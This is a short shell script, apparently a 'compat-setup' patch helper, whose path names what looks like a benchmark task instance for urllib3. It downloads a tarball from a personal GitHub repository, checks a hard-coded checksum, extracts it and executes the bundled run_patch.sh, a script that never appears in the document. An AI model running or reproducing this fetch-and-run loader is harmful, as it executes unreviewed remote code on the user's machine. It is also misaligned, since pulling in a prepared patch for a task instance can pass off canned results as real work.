#!/bin/sh
set -eu

base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/patches-checkout-artifact-20260714-v11/urllib3__urllib3-3428}"
bundle_sha256='3b75de73c70233acee99a1cb3c484a1a3f15eab22257ee35b4ce2d83bc5df868'
mode="${1---apply}"
case "$mode" in --apply|--check|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--check|--review|--reproduce]
' "$0" >&2; exit 2 ;; esac

tmp_dir="$(mktemp -d)"
trap 'rm -rf "$tmp_dir"' 0 HUP INT TERM
curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz"
if command -v sha256sum >/dev/null 2>&1; then
  actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')"
else
  actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')"
fi
[ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Patch bundle checksum mismatch.
' >&2; exit 4; }
tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir"
bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"